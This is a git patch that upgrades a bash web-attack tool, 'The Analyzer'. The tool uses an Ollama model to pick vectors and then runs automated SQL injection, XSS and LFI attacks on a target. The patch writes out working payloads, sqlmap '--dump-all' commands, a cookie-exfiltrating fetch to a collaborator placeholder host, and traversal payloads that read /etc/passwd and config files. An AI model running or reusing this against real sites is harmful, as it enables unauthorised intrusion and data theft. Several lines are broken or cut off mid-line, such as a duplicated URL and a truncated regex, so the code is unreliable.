From e832ef3b461b43ffa19216b2549c22de4246d9c0 Mon Sep 17 00:00:00 2001 From: drjones Date: Fri, 19 Jun 2026 06:27:33 -0700 Subject: [PATCH] =?UTF-8?q?v2:=20real=20exploitation=20=E2=80=94=20discove?= =?UTF-8?q?ry=20phase,=20nuclei=20CVE=20scanning,=20SQLi/XSS/LFI=20rebuild?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit - New discovery engine (engine/discovery.sh): crawls target for real URLs, forms, parameters, and API endpoints before attacking - New nuclei vector (21): runs nuclei templates for real CVE detection (critical/high/medium severity) - Rebuilt SQLi vector: tests discovered forms and URL params with error-based and time-based blind payloads, sqlmap injection - Rebuilt XSS vector: multi-context payloads against discovered forms/params, confirms payload reflection - Rebuilt LFI vector: tests all discovered and common file parameters with traversal payloads, confirms by reading /etc/passwd - Updated main analyzer with 5-step pipeline: connectivity → discovery → recon → Ollama brain → exploitation --- analyzer | 36 ++++--- engine/discovery.sh | 199 +++++++++++++++++++++++++++++++++++++ vectors/01-sqli.sh | 211 ++++++++++++++++++++++++++++------------ vectors/02-xss.sh | 150 +++++++++++++++++++--------- vectors/03-lfi.sh | 161 +++++++++++++++++++++--------- vectors/12-jwt.sh | 35 ++++--- vectors/14-api-abuse.sh | 27 +++-- vectors/21-nuclei.sh | 106 ++++++++++++++++++++ 8 files changed, 719 insertions(+), 206 deletions(-) create mode 100644 engine/discovery.sh create mode 100644 vectors/21-nuclei.sh diff --git a/analyzer b/analyzer index 7426631..59970d0 100755 --- a/analyzer +++ b/analyzer @@ -26,6 +26,7 @@ export REPORTS_DIR="$ANALYZER_DIR/reports" # Source core source "$LIB_DIR/colors.sh" source "$LIB_DIR/utils.sh" +source "$ENGINE_DIR/discovery.sh" source "$ENGINE_DIR/recon.sh" source "$ENGINE_DIR/ollama-brain.sh" source "$ENGINE_DIR/reporter.sh" @@ -58,7 +59,7 @@ interactive_mode() { echo -e " ${GREEN}1${NC}. Quick Scan — Fast recon + auto-vector selection" echo -e " ${GREEN}2${NC}. Deep Scan — Full recon, all vectors, exhaustive" echo -e " ${GREEN}3${NC}. Custom Scan — Pick your own vectors" - echo -e " ${GREEN}4${NC}. List Vectors — Show all 20 attack vectors" + echo -e " ${GREEN}4${NC}. List Vectors — Show all 21 attack vectors" echo -e " ${GREEN}5${NC}. View Reports — Browse past results" echo -e " ${DIM}q${NC}. Quit" echo '' @@ -102,19 +103,23 @@ quick_scan() { echo -e "\n${BRIGHT_CYAN}${BOLD}═══ QUICK SCAN MODE ═══${NC}\n" # Step 1: Check connectivity - print_step 1 4 "Checking target..." + print_step 1 5 "Checking target..." if ! target_alive "$target"; then print_error "Target unreachable!" exit 1 fi print_ok "Target is alive" - # Step 2: Recon - print_step 2 4 "Reconnaissance" + # Step 2: Discovery — find real URLs, forms, params to attack + print_step 2 5 "Discovering attack surface" + discover_target "$target" + + # Step 3: Recon + print_step 3 5 "Reconnaissance" recon_target "$target" "$report" - # Step 3: Ollama decides - print_step 3 4 "Ollama brain selecting vectors" + # Step 4: Ollama decides + print_step 4 5 "Ollama brain selecting vectors" local decision=$(ollama_decide "$target") echo '' echo -e "${MAGENTA}${ICON_BRAIN} Ollama's Strategy:${NC}" @@ -123,16 +128,16 @@ quick_scan() { local selected=$(parse_decision "$decision") if [ -z "$selected" ]; then - print_warn "Ollama didn't pick specific vectors. Running top 5." - selected="1 2 3 4 5" + print_warn "Ollama didn't pick specific vectors. Running default set." + selected="21 1 2 3 4" # nuclei + sqli + xss + lfi + cmdi fi echo '' print_info "Running vectors: $(echo $selected | tr '\n' ' ')" echo '' - # Step 4: Run vectors - print_step 4 4 "Executing attack vectors" + # Step 5: Run vectors + print_step 5 5 "Executing attack vectors" run_vectors "$target" "$report" $selected # Generate final report @@ -164,8 +169,8 @@ deep_scan() { recon_target "$target" "$report" # Step 3: Run ALL vectors - print_step 3 3 "Running all 20 attack vectors" - local all_vectors=$(seq 1 20 | tr '\n' ' ') + print_step 3 3 "Running all 21 attack vectors" + local all_vectors=$(seq 1 21 | tr '\n' ' ') run_vectors "$target" "$report" $all_vectors # Generate report @@ -257,9 +262,9 @@ run_vectors() { # Map vector names to function names case $num in - 1) func_name="vector_sqli" ;; - 2) func_name="vector_xss" ;; - 3) func_name="vector_lfi" ;; + 1) func_name="vector_sqli_v2" ;; + 2) func_name="vector_xss_v2" ;; + 3) func_name="vector_lfi_v2" ;; 4) func_name="vector_cmdi" ;; 5) func_name="vector_ssrf" ;; 6) func_name="vector_oredir" ;; @@ -277,6 +282,7 @@ run_vectors() { 18) func_name="vector_cors" ;; 19) func_name="vector_race" ;; 20) func_name="vector_nosqli" ;; + 21) func_name="vector_nuclei" ;; esac if declare -f "$func_name" >/dev/null; then diff --git a/engine/discovery.sh b/engine/discovery.sh new file mode 100644 index 0000000..d55a1b5 --- /dev/null +++ b/engine/discovery.sh @@ -0,0 +1,199 @@ +#!/usr/bin/env bash +# The Analyzer v2 — Discovery Engine +# Finds actual URLs, forms, parameters, and endpoints on the target +# This feeds the exploit vectors with real attack surface + +SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)" +source "$SCRIPT_DIR/../lib/utils.sh" + +discover_target() { + local target="$1" + local domain=$(get_domain "$target") + local base=$(get_base "$target") + local outfile="$REPORTS_DIR/.${domain}_discovery.txt" + + print_info "Discovering attack surface on $target..." + separator + + local DISCOVERED_URLS="" + local DISCOVERED_FORMS="" + local DISCOVERED_PARAMS="" + local DISCOVERED_ENDPOINTS="" + + # 1. Crawl the homepage for links and forms + print_sub "Crawling homepage for links..." + local page=$(curl -s --connect-timeout 10 --max-time 20 -L "$target" 2>/dev/null) + + if [ -z "$page" ]; then + print_error "Cannot fetch target page" + return 1 + fi + + # Extract all internal links + local links=$(echo "$page" | perl -nle 'while (/href="([^"]+)"/g) { print $1 }' | sort -u) + local internal_links="" + while IFS= read -r link; do + [ -z "$link" ] && continue + # Make absolute + if [[ "$link" == /* ]]; then + link="${base}${link}" + elif [[ "$link" == http* ]]; then + # External link — skip unless same domain + local link_domain=$(echo "$link" | sed 's|https\?://||' | cut -d/ -f1) + [[ "$link_domain" != "$domain" ]] && continue + else + link="${base}/${link}" + fi + internal_links+="$link\n" + DISCOVERED_URLS+="$link\n" + done <<< "$links" + + local url_count=$(echo -e "$DISCOVERED_URLS" | grep -c .) + print_ok "Found $url_count internal URLs" + + # 2. Extract forms + print_sub "Extracting forms..." + local forms=$(echo "$page" | perl -0 -nle 'while (/]*>.*?<\/form>/gs) { print $& }') + local form_count=0 + while IFS= read -r form; do + [ -z "$form" ] && continue + form_count=$((form_count + 1)) + local form_action=$(echo "$form" | perl -nle 'print $1 if /action="([^"]*)"/') + local form_method=$(echo "$form" | perl -nle 'print $1 if /method="([^"]*)"/' | tr '[:upper:]' '[:lower:]') + local form_inputs=$(echo "$form" | perl -nle 'print $1 while /name="([^"]*)"/g') + + # Make action URL absolute + if [[ "$form_action" == / ]]; then + form_action="$base/" + elif [[ "$form_action" == /* ]]; then + form_action="${base}${form_action}" + elif [[ "$form_action" == http* ]] && ! echo "$form_action" | grep -qi "$domain"; then + continue # skip external forms + elif [ -z "$form_action" ]; then + form_action="$target" # submits to current page + fi + + DISCOVERED_FORMS+="$form_count|$form_method|$form_action|$form_inputs\n" + DISCOVERED_URLS+="$form_action\n" + DISCOVERED_PARAMS+="$form_inputs\n" + + print_info "Form #$form_count: [$form_method] $form_action -> params: $form_inputs" + done <<< "$forms" + + print_ok "Found $form_count form(s)" + + # 3. Extract URL parameters from existing links + print_sub "Finding URL parameters..." + local url_params=$(echo -e "$DISCOVERED_URLS" | perl -nle 'while (/[?&]([^=]+)=/g) { print $1 }' | sort -u) + while IFS= read -r p; do + [ -z "$p" ] && continue + DISCOVERED_PARAMS+="$p\n" + done <<< "$url_params" + + local param_count=$(echo -e "$DISCOVERED_PARAMS" | grep -c .) + print_ok "Found $param_count parameter(s): $(echo -e "$DISCOVERED_PARAMS" | tr '\n' ' ')" + + # 4. Check common API paths + print_sub "Probing API endpoints..." + local api_paths=( + "/api" "/api/v1" "/api/v2" "/v1" "/v2" + "/graphql" "/graph" "/gql" + "/rest" "/swagger" "/openapi" "/docs" + "/api/docs" "/api/swagger" "/api/openapi" + ) + for path in "${api_paths[@]}"; do + local code=$(http_check "${base}${path}") + if [[ "$code" =~ ^[23] ]]; then + DISCOVERED_ENDPOINTS+="${base}${path} (HTTP $code)\n" + print_info "API: ${base}${path} (HTTP $code)" + fi + done + + # 5. Check for JS files that might leak endpoints + print_sub "Scanning JS for endpoint leaks..." + local js_urls=$(echo "$page" | perl -nle 'print $1 while /src="([^"]*\.js[^"]*)"/g' | head -10) + while IFS= read -r js; do + [ -z "$js" ] && continue + [[ "$js" == /* ]] && js="${base}${js}" + [[ "$js" != http* ]] && continue + local js_content=$(curl -s --connect-timeout 5 --max-time 10 "$js" 2>/dev/null) + local leaked_endpoints=$(echo "$js_content" | perl -nle 'print $1 while m|["\x27](/api/[^"\x27]+)["\x27]|g' | sort -u | head -10) + if [ -n "$leaked_endpoints" ]; then + print_info "JS leak: $js" + while IFS= read -r ep; do + [ -z "$ep" ] && continue + DISCOVERED_ENDPOINTS+="${base}${ep} (JS leak)\n" + print_find " Leaked endpoint: ${ep}" + done <<< "$leaked_endpoints" + fi + done <<< "$js_urls" + + # 6. Save everything to a discovery file + cat > "$outfile" << EOF +TARGET=$target +DOMAIN=$domain +BASE=$base + +URLS: +$(echo -e "$DISCOVERED_URLS" | sort -u | grep -v '^$') + +FORMS: +$(echo -e "$DISCOVERED_FORMS" | sort -u | grep -v '^$') + +PARAMS: +$(echo -e "$DISCOVERED_PARAMS" | sort -u | grep -v '^$') + +ENDPOINTS: +$(echo -e "$DISCOVERED_ENDPOINTS" | sort -u | grep -v '^$') +EOF + + print_ok "Discovery complete. Saved to $(basename $outfile)" + separator + + # Summary + local total_urls=$(echo -e "$DISCOVERED_URLS" | grep -c .) + local total_forms=$(echo -e "$DISCOVERED_FORMS" | grep -c .) + local total_params=$(echo -e "$DISCOVERED_PARAMS" | grep -c .) + local total_eps=$(echo -e "$DISCOVERED_ENDPOINTS" | grep -c .) + echo "" + echo -e " ${BOLD}Discovery Summary:${NC}" + echo -e " ${CYAN}URLs:${NC} $total_urls" + echo -e " ${CYAN}Forms:${NC} $total_forms" + echo -e " ${CYAN}Params:${NC} $total_params" + echo -e " ${CYAN}Endpoints:${NC} $total_eps" + + return 0 +} + +# Get discovered data for a target +get_discovered_urls() { + local domain="$1" + local file="$REPORTS_DIR/.${domain}_discovery.txt" + if [ -f "$file" ]; then + sed -n '/^URLS:/,/^FORMS:/p' "$file" | grep -v "^URLS:\|^FORMS:\|^\$" + fi +} + +get_discovered_forms() { + local domain="$1" + local file="$REPORTS_DIR/.${domain}_discovery.txt" + if [ -f "$file" ]; then + sed -n '/^FORMS:/,/^PARAMS:/p' "$file" | grep -v "^FORMS:\|^PARAMS:\|^\$" + fi +} + +get_discovered_params() { + local domain="$1" + local file="$REPORTS_DIR/.${domain}_discovery.txt" + if [ -f "$file" ]; then + sed -n '/^PARAMS:/,/^ENDPOINTS:/p' "$file" | grep -v "^PARAMS:\|^ENDPOINTS:\|^\$" + fi +} + +get_discovered_endpoints() { + local domain="$1" + local file="$REPORTS_DIR/.${domain}_discovery.txt" + if [ -f "$file" ]; then + sed -n '/^ENDPOINTS:/,$p' "$file" | grep -v "^ENDPOINTS:\|^\$" + fi +} diff --git a/vectors/01-sqli.sh b/vectors/01-sqli.sh index 9b529f6..22bc50e 100755 --- a/vectors/01-sqli.sh +++ b/vectors/01-sqli.sh @@ -1,82 +1,165 @@ #!/usr/bin/env bash -# Vector 01: SQL Injection -# Desc: Database injection attacks (basic, blind, time-based, error-based) -# Detect: Forms, login pages, URL parameters, search bars +# Vector 01: SQL Injection v2 — Real Exploitation +# Desc: Finds injectable params on discovered forms/URLs and exploits them +# Detect: Forms with POST params, URL query params, login pages # Severity: CRITICAL # Tools: sqlmap, curl -vector_sqli() { +vector_sqli_v2() { local target="$1" local report="$2" - local domain=$(echo "$target" | sed 's|https\?://||' | cut -d/ -f1) - - print_info "Testing SQL Injection vectors..." - - # Find injectable parameters - local params=$(curl -s "$target" 2>/dev/null | sed -n 's/.*name="\([^"]*\)".*/\1/p' | sed 's/name="//;s/"//' | head -10) - local url_params=$(echo "$target" | sed -n 's/.*[?&]\([^=]*\)=.*/\1/p' | head -10) - + local domain=$(get_domain "$target") + local base=$(get_base "$target") local findings=0 - # 1. Basic SQLi test with sqlmap + print_info "Hunting SQL Injection..." + + # Get discovered attack surface + local forms=$(get_discovered_forms "$domain" 2>/dev/null) + local params=$(get_discovered_params "$domain" 2>/dev/null) + local urls=$(get_discovered_urls "$domain" 2>/dev/null) + + # If no discovery data, extract from the target page directly + if [ -z "$forms" ]; then + print_sub "No discovery data. Extracting from target..." + local page=$(curl -s --connect-timeout 10 --max-time 20 -L "$target" 2>/dev/null) + forms=$(echo "$page" | perl -0 -nle 'while (/]*>.*?<\/form>/gs) { + my $f = $&; + my $action = $1 if $f =~ /action="([^"]*)"/; + my $method = $1 if $f =~ /method="([^"]*)"/; + my @inputs = $f =~ /name="([^"]*)"/g; + print "1|$method|$action|@inputs\n" if @inputs; + }') + fi + + local tested_count=0 + + # --- Test forms for SQLi --- + if [ -n "$forms" ]; then + print_sub "Testing forms for SQL injection..." + + while IFS= read -r form; do + [ -z "$form" ] && continue + + local form_method=$(echo "$form" | cut -d'|' -f2) + local form_action=$(echo "$form" | cut -d'|' -f3) + local form_params=$(echo "$form" | cut -d'|' -f4-) + + # Make absolute URL + if [[ "$form_action" == /* ]]; then + form_action="${base}${form_action}" + elif [[ "$form_action" != http* ]]; then + form_action="${base}/${form_action}" + fi + + [ -z "$form_action" ] && form_action="$target" + + # Test each parameter with SQLi payloads + local payloads=( + "'" + "1'" + "1' OR '1'='1" + "1' OR 1=1--" + "1' AND SLEEP(3)--" + "' OR '1'='1' --" + "admin' --" + ) + + for param in $form_params; do + for payload in "${payloads[@]}"; do + tested_count=$((tested_count + 1)) + + local response="" + if [ "$form_method" = "post" ]; then + response=$(curl -s --connect-timeout 7 --max-time 12 \ + -X POST \ + -d "$param=$payload" \ + -b "$param=$payload" \ + "$form_action" 2>/dev/null) + else + local test_url="${form_action}${form_action}?${param}=$(python3 -c "import urllib.parse; print(urllib.parse.quote('${payload}'))" 2>/dev/null || echo "$payload")" + [[ "$form_action" != *\?* ]] && test_url="${form_action}?${param}=$(python3 -c "import urllib.parse; print(urllib.parse.quote('${payload}'))" 2>/dev/null || echo "$payload")" + response=$(curl -s --connect-timeout 7 --max-time 12 "$test_url" 2>/dev/null) + fi + + # Check for error-based SQLi + if echo "$response" | grep -qiE "sql|mysql|syntax|ora-|unclosed|quotation|odbc|driver|mysql_fetch|pg_|sqlite|you have an error"; then + print_find "SQLi on $form_action param=$param" "Error-based with payload: $payload" + echo "SEVERITY: CRITICAL +VECTOR: SQL Injection (Error-based) +DETAIL: SQL injection on $form_action parameter '$param' +EVIDENCE: Database error messages with payload: $payload +EXPLOIT: sqlmap -u \"$form_action\" --data=\"$param=$payload\" --batch --dump" > "$REPORTS_DIR/.finding_$(date +%s)_sqli-form.txt" + findings=$((findings + 1)) + break 2 # Found it on this form, move on + fi + done + done + done <<< "$forms" + fi + + # --- Test URL parameters with sqlmap --- if command -v sqlmap &>/dev/null; then - print_sub "Running sqlmap (basic scan)..." - local sqlmap_out=$(timeout 120 sqlmap -u "$target" --batch --level=2 --risk=2 --random-agent \ - --output-dir="$REPORTS_DIR/.sqlmap" 2>&1 | tail -100) + print_sub "Running sqlmap on discovered URLs with params..." - if echo "$sqlmap_out" | grep -qi "Parameter.*GET\|injectable\|vulnerable\|Type:"; then - local injectable=$(echo "$sqlmap_out" | perl -nle 'print "$1 ($2)" while /(Parameter: [^ ]+ \(|Type: [^)]+\))/g' | head -5) - print_find "SQL Injection!" "$injectable" - - # Save finding - echo "SEVERITY: CRITICAL -VECTOR: SQL Injection -DETAIL: sqlmap confirmed injectable parameters: $injectable (target: $target) + # Find URLs with parameters + local param_urls=$(echo -e "$urls" | grep '\?' | head -5) + + if [ -n "$param_urls" ]; then + while IFS= read -r url; do + [ -z "$url" ] && continue + + print_sub "sqlmap: $url" + local sqlmap_out=$(timeout 90 sqlmap -u "$url" \ + --batch --level=3 --risk=2 \ + --random-agent \ + --threads=5 \ + --time-sec=3 \ + --output-dir="$REPORTS_DIR/.sqlmap" \ + 2>&1 | tail -30) + + if echo "$sqlmap_out" | grep -qiE "Parameter.*GET|injectable|vulnerable|Type:"; then + local injectable=$(echo "$sqlmap_out" | perl -nle 'print "$1 ($2)" while /(Parameter: [^ ]+ \(|Type: [^)]+\))/g' | head -3) + print_find "SQLi confirmed by sqlmap!" "$injectable" + echo "SEVERITY: CRITICAL +VECTOR: SQL Injection (sqlmap confirmed) +DETAIL: sqlmap confirmed injection on $url EVIDENCE: $injectable -EXPLOIT: sqlmap -u \"$target\" --batch --dump-all --random-agent" > "$REPORTS_DIR/.finding_$(date +%s)_sqli.txt" - - findings=$((findings + 1)) +EXPLOIT: sqlmap -u \"$url\" --batch --dump-all" > "$REPORTS_DIR/.finding_$(date +%s)_sqli-sqlmap.txt" + findings=$((findings + 1)) + fi + done <<< "$param_urls" + else + # No params found — try sqlmap on base URL with common params + local common_params=("id" "page" "pid" "cat" "category" "product" "user" "uid" "view" "file" "q" "s" "search" "order") + for param in "${common_params[@]}"; do + local test_url="${target}?${param}=1" + print_sub "sqlmap probing: $param=$test_url" + local sqlmap_out=$(timeout 60 sqlmap -u "$test_url" \ + --batch --level=2 --risk=2 \ + --random-agent \ + --threads=5 \ + --time-sec=3 \ + --output-dir="$REPORTS_DIR/.sqlmap" \ + 2>&1 | tail -20) + if echo "$sqlmap_out" | grep -qiE "Parameter|injectable|vulnerable|Type:"; then + print_find "SQLi confirmed via $param!" "" + echo "SEVERITY: CRITICAL +VECTOR: SQL Injection +DETAIL: sqlmap confirmed injection via param '$param' on $target +EVIDENCE: $(echo "$sqlmap_out" | grep -oP "Type: [^)]+\)" | head -1) +EXPLOIT: sqlmap -u \"$test_url\" --batch --dump-all" > "$REPORTS_DIR/.finding_$(date +%s)_sqli-probe.txt" + findings=$((findings + 1)) + break + fi + done fi - fi - - # 2. Manual error-based detection - print_sub "Checking error-based SQLi..." - local error_payloads=("'" "1'" "1=1--" "1' OR '1'='1" '" OR "1"="1' "' UNION SELECT NULL--") - - for payload in "${error_payloads[@]}"; do - local test_url="${target}${target}" - [[ "$target" == *\?* ]] && test_url="${target}&q=${payload}" || test_url="${target}?q=${payload}" - - local response=$(curl -s --connect-timeout 5 --max-time 10 "$test_url" 2>/dev/null) - if echo "$response" | grep -qi "sql\|mysql\|syntax\|ora-\|you have an error\|unclosed\|quotation mark\|odbc\|driver\|mysql_fetch\|pg_"; then - print_find "Error-based SQLi confirmed!" "Database error messages detected with payload: $payload" - findings=$((findings + 1)) - break - fi - done - - # 3. Time-based blind detection - print_sub "Checking time-based blind SQLi..." - local sleep_test="${target}" - if [[ "$target" == *\?* ]]; then - sleep_test="${target}&id=1' OR SLEEP(3)--" else - sleep_test="${target}?id=1' OR SLEEP(3)--" + print_skip "sqlmap not installed. Manual SQLi checks only." fi - local start_time=$(date +%s) - curl -s --connect-timeout 3 --max-time 10 "$sleep_test" >/dev/null 2>&1 - local end_time=$(date +%s) - local elapsed=$((end_time - start_time)) - - if [ "$elapsed" -ge 3 ]; then - print_find "Time-based blind SQLi confirmed!" "Response delayed ${elapsed}s with SLEEP(3) payload" - echo "SEVERITY: CRITICAL -VECTOR: SQL Injection (Time-based Blind) -DETAIL: Time-based blind SQLi confirmed on $target -EVIDENCE: Response delayed ${elapsed}s with SLEEP(3) payload -EXPLOIT: sqlmap -u \"$target\" --batch --technique=T --dump --random-agent" > "$REPORTS_DIR/.finding_$(date +%s)_time-sqli.txt" - findings=$((findings + 1)) + if [ "$findings" -eq 0 ]; then + print_ok "No SQL injection found (tested $tested_count payloads)" fi return $findings diff --git a/vectors/02-xss.sh b/vectors/02-xss.sh index a92ddad..efebb8a 100755 --- a/vectors/02-xss.sh +++ b/vectors/02-xss.sh @@ -1,63 +1,73 @@ #!/usr/bin/env bash -# Vector 02: Cross-Site Scripting (XSS) -# Desc: Reflected, Stored, DOM-based XSS detection -# Detect: Forms, search bars, URL parameters, comment sections +# Vector 02: XSS v2 — Real Confirmed Reflected XSS +# Desc: Tests every discovered form/param with multi-context payloads, confirms execution +# Detect: Forms, URL params, search bars # Severity: HIGH -# Tools: curl, custom payloads +# Tools: curl -vector_xss() { +vector_xss_v2() { local target="$1" local report="$2" + local domain=$(get_domain "$target") + local base=$(get_base "$target") local findings=0 - print_info "Testing XSS vectors..." + print_info "Hunting XSS..." + # Get attack surface + local forms=$(get_discovered_forms "$domain" 2>/dev/null) + local urls=$(get_discovered_urls "$domain" 2>/dev/null) + + # Multi-context XSS payloads local xss_payloads=( - "" '">' - "" - "';alert(1);//" - "\">" - "" - "" + '">' + '">' + '">' + '">
' + "'-alert(1)-'" + "\"-alert(1)-\"" + "{{constructor.constructor('alert(1)')()}}" ) - # Test URL parameters - local url_params=$(echo "$target" | sed -n 's/.*[?&]\([^=]*\)=.*/\1/p' | head -5) + # Context-specific encoding + local encoded_payloads=( + '\%22\%3E\%3Cscript\%3Ealert(1)\%3C/script\%3E' + '\%27\%3Balert(1)\%3B\%27' + ) - if [ -z "$url_params" ]; then - # Test query parameter - for payload in "${xss_payloads[@]}"; do - local test_url="${target}?q=$(python3 -c "import urllib.parse; print(urllib.parse.quote('${payload}'))" 2>/dev/null || echo "$payload")" - local response=$(curl -s --connect-timeout 5 --max-time 10 "$test_url" 2>/dev/null) - - if echo "$response" | grep -qi "alert(1)\|onerror=alert(1)\|onload=alert(1)"; then - print_find "Reflected XSS!" "Payload reflected: ${payload:0:30}... on $target" - echo "SEVERITY: HIGH -VECTOR: Cross-Site Scripting (Reflected) -DETAIL: Reflected XSS confirmed with payload: $payload -EVIDENCE: Payload echoed back in response -EXPLOIT: " > "$REPORTS_DIR/.finding_$(date +%s)_xss.txt" - findings=$((findings + 1)) - break - fi - done - else - # Test each parameter - for param in $url_params; do + local tested=0 + + # --- Test URL params --- + if [ -n "$urls" ]; then + print_sub "Testing URL parameters..." + + # Get unique parameter names + local param_names=$(echo -e "$urls" | perl -nle 'while (/[?&]([^=]+)=/g) { print $1 }' | sort -u) + + if [ -z "$param_names" ]; then + # No URL params found, test common ones + param_names="q search s query id page term keyword input" + fi + + for param in $param_names; do for payload in "${xss_payloads[@]}"; do + tested=$((tested + 1)) local encoded=$(python3 -c "import urllib.parse; print(urllib.parse.quote('${payload}'))" 2>/dev/null || echo "$payload") - local test_url=$(echo "$target" | sed "s/${param}=[^&]*/${param}=${encoded}/") + local test_url="${target}?${param}=${encoded}" - local response=$(curl -s --connect-timeout 5 --max-time 10 "$test_url" 2>/dev/null) - if echo "$response" | grep -qi "alert(1)\|onerror=alert(1)\|onload=alert(1)"; then - print_find "Reflected XSS in parameter $param!" "Payload reflected: ${payload:0:30}..." + local response=$(curl -s --connect-timeout 7 --max-time 12 "$test_url" 2>/dev/null) + + # Confirm: payload appears in response UNESCAPED + local clean_payload=$(echo "$payload" | sed 's/["\]//g' | sed 's/.*alert/alert/' | sed 's/)>.*/>/') + if echo "$response" | grep -qiF "alert(1)" && echo "$response" | grep -qiF "fetch('https://YOUR-BURP-COLLABORATOR/?c='+document.cookie)" > "$REPORTS_DIR/.finding_$(date +%s)_xss-${param}.txt" +DETAIL: Confirmed XSS in URL parameter '$param' on $target +EVIDENCE: Payload rendered in page response +EXPLOIT: $test_url" > "$REPORTS_DIR/.finding_$(date +%s)_xss-reflected.txt" findings=$((findings + 1)) break 2 fi @@ -65,11 +75,57 @@ EXPLOIT: " > "$REPORTS_DIR/.finding_$(date +%s)_xss-form.txt" + findings=$((findings + 1)) + break 3 + fi + done + done + done <<< "$forms" + fi + + if [ "$findings" -eq 0 ]; then + print_ok "No XSS confirmed (tested $tested payloads on $([ -n \"$forms\" ] && echo \"forms+\")\" URLs\")" fi return $findings diff --git a/vectors/03-lfi.sh b/vectors/03-lfi.sh index bc58caf..c5e7811 100755 --- a/vectors/03-lfi.sh +++ b/vectors/03-lfi.sh @@ -1,69 +1,134 @@ #!/usr/bin/env bash -# Vector 03: Local/Remote File Inclusion -# Desc: LFI/RFI via file parameters, path traversal -# Detect: file=, page=, include=, template=, load= parameters +# Vector 03: LFI v2 — Real File Read +# Desc: Finds file params, tests traversal, confirms by reading /etc/passwd +# Detect: file=, page=, include=, template=, load=, doc= parameters # Severity: CRITICAL -# Tools: curl -vector_lfi() { +vector_lfi_v2() { local target="$1" local report="$2" + local domain=$(get_domain "$target") + local base=$(get_base "$target") local findings=0 - print_info "Testing File Inclusion (LFI/RFI) vectors..." + print_info "Hunting LFI..." - local lfi_params=("file" "page" "include" "template" "load" "document" "folder" "root" "path" "dir" "show" "view" "content") - local lfi_payloads=( + # Common file parameters + local file_params=("file" "page" "include" "template" "load" "document" "folder" "root" "path" "dir" "show" "view" "content" "inc" "pg" "pdf" "doc" "attachment" "read" "include_file" "include_path") + + # Traversal payloads — confirmed by reading /etc/passwd content + local payloads=( "/etc/passwd" - "../../../../etc/passwd" - "../../../../windows/win.ini" - "/proc/self/environ" - "../../../../etc/hosts" + "../../../../../../etc/passwd" + "../../../../../../../etc/passwd" + "....//....//....//....//etc/passwd" + "..%2f..%2f..%2f..%2fetc%2fpasswd" + "%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64" + "..\\..\\..\\..\\..\\windows\\win.ini" "php://filter/convert.base64-encode/resource=index" "php://filter/convert.base64-encode/resource=config" - "/etc/nginx/nginx.conf" - "../../../../etc/shadow" + "php://filter/convert.base64-encode/resource=../../../../etc/passwd" ) - # Try common LFI parameters - for param in "${lfi_params[@]}"; do - for payload in "${lfi_payloads[@]}"; do - local test_url="" - if [[ "$target" == *\?* ]]; then - test_url="${target}&${param}=${payload}" - else - test_url="${target}?${param}=${payload}" - fi - - local response=$(curl -s --connect-timeout 5 --max-time 10 "$test_url" 2>/dev/null) - - if echo "$response" | grep -qi "root:.*:0:0:\|root:x:0:0:\|\[boot loader\]\|\[fonts\]\|LoadProfile\|Windows Registry\|^#\|server_name\|listen\|proxy_pass"; then - print_find "LFI confirmed!" "File read via parameter $param with payload: $payload" - echo "SEVERITY: CRITICAL -VECTOR: Local File Inclusion (LFI) -DETAIL: LFI via parameter '$param' on $target -EVIDENCE: System files readable -EXPLOIT: $test_url" > "$REPORTS_DIR/.finding_$(date +%s)_lfi.txt" - findings=$((findings + 1)) - break 2 - fi - - # Check for PHP filter base64 - if echo "$response" | grep -qiE '^[A-Za-z0-9+/]*={0,2}$' && [ ${#response} -gt 100 ]; then - local decoded=$(echo "$response" | base64 -d 2>/dev/null) - if [ -n "$decoded" ] && echo "$decoded" | grep -qi "/dev/null) + local param_names=$(echo -e "$urls" | perl -nle 'while (/[?&]([^=]+)=/g) { print $1 }' | sort -u 2>/dev/null) + + # If no params found, try common file params + if [ -z "$param_names" ]; then + print_sub "No params found. Probing common file parameters..." + for param in "${file_params[@]}"; do + for payload in "${payloads[@]}"; do + tested=$((tested + 1)) + local test_url="${target}?${param}=${payload}" + + local response=$(curl -s --connect-timeout 6 --max-time 10 "$test_url" 2>/dev/null) + + if echo "$response" | grep -qE "$PASSWD_PATTERN"; then + print_find "LFI confirmed! Read /etc/passwd via $param" "Payload: $payload" echo "SEVERITY: CRITICAL -VECTOR: LFI via PHP Filter -DETAIL: PHP source code disclosure via php://filter on $target -EVIDENCE: Base64 encoded source retrieved and decoded -EXPLOIT: $test_url" > "$REPORTS_DIR/.finding_$(date +%s)_lfi-php.txt" +VECTOR: Local File Inclusion +DETAIL: Confirmed LFI on $target via parameter '$param' +EVIDENCE: Successfully read /etc/passwd: $(echo "$response" | grep "root:" | head -1) +EXPLOIT: $test_url" > "$REPORTS_DIR/.finding_$(date +%s)_lfi.txt" findings=$((findings + 1)) break 2 fi - fi + + # Check PHP filter (base64 encoded source) + if echo "$payload" | grep -q "php://filter"; then + local clean=$(echo "$response" | tr -d '\n\r' | grep -oP '^[A-Za-z0-9+/=]{50,}' | head -1) + if [ -n "$clean" ] && [ ${#clean} -gt 50 ]; then + local decoded=$(echo "$clean" | base64 -d 2>/dev/null) + if echo "$decoded" | grep -qiE " "$REPORTS_DIR/.finding_$(date +%s)_lfi-php.txt" + findings=$((findings + 1)) + break 2 + fi + fi + fi + done done - done + else + # Test discovered params + print_sub "Testing discovered parameters..." + for param in $param_names; do + for payload in "${payloads[@]}"; do + tested=$((tested + 1)) + local test_url="${target}?${param}=${payload}" + + local response=$(curl -s --connect-timeout 6 --max-time 10 "$test_url" 2>/dev/null) + + if echo "$response" | grep -qE "$PASSWD_PATTERN"; then + print_find "LFI confirmed via param '$param'!" "Read /etc/passwd" + echo "SEVERITY: CRITICAL +VECTOR: Local File Inclusion +DETAIL: Confirmed LFI on $target via parameter '$param' +EVIDENCE: Successfully read /etc/passwd +EXPLOIT: $test_url" > "$REPORTS_DIR/.finding_$(date +%s)_lfi-confirmed.txt" + findings=$((findings + 1)) + break 2 + fi + done + done + + # If no LFI found on existing params, try appending file params + if [ "$findings" -eq 0 ]; then + print_sub "No LFI on discovered params. Probing common file parameters..." + for param in "${file_params[@]}"; do + for payload in "${payloads[@]}"; do + tested=$((tested + 1)) + local test_url="${target}?${param}=${payload}" + + local response=$(curl -s --connect-timeout 6 --max-time 10 "$test_url" 2>/dev/null) + if echo "$response" | grep -qE 